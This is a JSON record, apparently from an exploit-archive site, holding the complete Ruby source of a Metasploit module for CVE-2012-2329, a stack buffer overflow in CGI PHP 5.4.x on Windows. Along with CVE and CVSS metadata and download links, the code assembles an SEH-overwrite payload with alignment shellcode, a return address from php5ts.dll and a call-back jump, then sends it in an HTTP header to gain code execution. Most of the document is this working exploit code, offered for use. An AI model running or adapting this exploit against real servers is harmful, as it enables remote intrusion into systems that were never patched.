{"exploit":{"id":"MSF-windows--http--php_apache_request_headers_bof","name":"PHP apache_request_headers Function Buffer Overflow","description":"This module exploits a stack based buffer overflow in the CGI version of PHP 5.4.x before 5.4.3. The vulnerability is due to the insecure handling of the HTTP headers. This module has been tested against the thread safe version of PHP 5.4.2, from \"windows.php.net\", running with Apache 2.2.22 from \"apachelounge.com\".","cves":["CVE-2012-2329"],"author":"Vincent Danen, juan vazquez","published":"2012-05-08","platform":"Windows","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/windows/http/php_apache_request_headers_bof.rb","path":"modules/exploits/windows/http/php_apache_request_headers_bof.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"php_apache_request_headers_bof.rb","vulnerabilities":[{"id":"CVE-2012-2329","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in the apache_request_headers function in sapi/cgi/cgi_main.c in PHP 5.4.x before 5.4.3 allows remote attackers to cause a denial of service (application crash) via a long string in the header of an HTTP request.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2012-2329","cvss":{"version":"2.0","baseScore":5,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:N/I:N/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2012-2329"},"updatedAt":"2024-08-06T19:34:23.733Z","retrievedAt":"2026-11-26T14:19:26.048Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-windows--http--php_apache_request_headers_bof.png?v=2","url":"https://exploitbin.com/exploits/MSF-windows--http--php_apache_request_headers_bof","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-windows--http--php_apache_request_headers_bof/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-windows--http--php_apache_request_headers_bof/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = NormalRanking\n\n  include Msf::Exploit::Remote::HttpClient\n  include Msf::Exploit::Remote::Seh\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'PHP apache_request_headers Function Buffer Overflow',\n        'Description' => %q{\n          This module exploits a stack based buffer overflow in the CGI version of PHP\n          5.4.x before 5.4.3. The vulnerability is due to the insecure handling of the\n          HTTP headers.\n\n          This module has been tested against the thread safe version of PHP 5.4.2,\n          from \"windows.php.net\", running with Apache 2.2.22 from \"apachelounge.com\".\n        },\n        'Author' => [\n          'Vincent Danen', # Vulnerability discovery\n          'juan vazquez', # Metasploit module\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2012-2329'],\n          [ 'OSVDB', '82215'],\n          [ 'BID', '53455'],\n          [ 'URL', 'http://www.php.net/archive/2012.php#id2012-05-08-1' ],\n          [ 'URL', 'http://www.php.net/ChangeLog-5.php#5.4.3'],\n          [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=820000' ]\n        ],\n        'DefaultOptions' => {\n          'EXITFUNC' => 'process',\n        },\n        'Privileged' => true,\n        'Payload' => {\n          'Space' => 1321,\n          'DisableNops' => true,\n          'BadChars' => \"\\x00\\x0d\\x0a\\x5f\\x80\\x8e\\x9e\\x9f\" + (0x41..0x5a).to_a.pack(\"C*\") + (0x82..0x8c).to_a.pack(\"C*\") + (0x91..0x9c).to_a.pack(\"C*\"),\n          'EncoderType' => Msf::Encoder::Type::NonUpperUnderscoreSafe,\n          'EncoderOptions' =>\n              {\n                'BufferOffset' => 0x0\n              }\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          [\n            'Windows XP SP3 / Windows 2003 Server SP2 (No DEP) / PHP 5.4.2 Thread safe',\n            {\n              'Ret' => 0x1002aa79, # ppr from php5ts.dll\n              'Offset' => 1332\n            }\n          ],\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2012-05-08',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('TARGETURI', [true, 'The URI path to the php using apache_request_headers', '/php/test.php']),\n      ]\n    )\n  end\n\n  def exploit\n    print_status(\"Trying target #{target.name}...\")\n\n    # Make ECX point to the start of the encoded payload\n    align_ecx = \"pop esi\\n\" # \"\\x5e\"\n    esi_alignment = target['Offset'] + # Space from the start of align_ecx to nseh handler\n                    8 + # len(nseh + seh)\n                    5 - # len(call back)\n                    11 # len(align_ecx)\n    align_ecx << \"add esi, -#{esi_alignment}\\n\" # \"\\x81\\xC6\" + 4 bytes imm (ex: \"\\xCA\\xFA\\xFF\\xFF\")\n    align_ecx << \"sub ecx, ecx\\n\" # \"\\x29\\xC9\"\n    align_ecx << \"add ecx, esi\" # \"\\x01\\xf1\"\n    sploit = Metasm::Shellcode.assemble(Metasm::Ia32.new, align_ecx).encode_string\n    # Encoded payload\n    sploit << payload.encoded\n    # Padding if needed\n    sploit << rand_text(target['Offset'] - sploit.length)\n    # SEH handler overwrite\n    sploit << generate_seh_record(target.ret)\n    # Call back \"\\xE8\" + 4 bytes imm (ex: \"\\xBF\\xFA\\xFF\\xFF\")\n    sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, \"call $-#{target['Offset'] + 8}\").encode_string\n    # Make it crash\n    sploit << rand_text(4096 - sploit.length)\n\n    print_status(\"Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}\")\n\n    res = send_request_cgi({\n      'uri' => normalize_uri(target_uri.path),\n      'method' => 'GET',\n      'headers' =>\n      {\n        \"HTTP_X_#{rand_text_alpha_lower(4)}\" => sploit,\n      }\n    })\n\n    if res and res.code == 500\n      print_status \"We got a 500 error code. Even without a session it could be an exploitation signal!\"\n    end\n\n    handler\n  end\nend\n","sha256":"b03bd9331aebafa9635fd26dd5355f72156ffe52bf3982374ec43b8d9c422051","bytes":4140,"fetchedAt":"2026-11-26T14:19:19.821Z","encoding":"utf-8 (display only; download retains original bytes)"}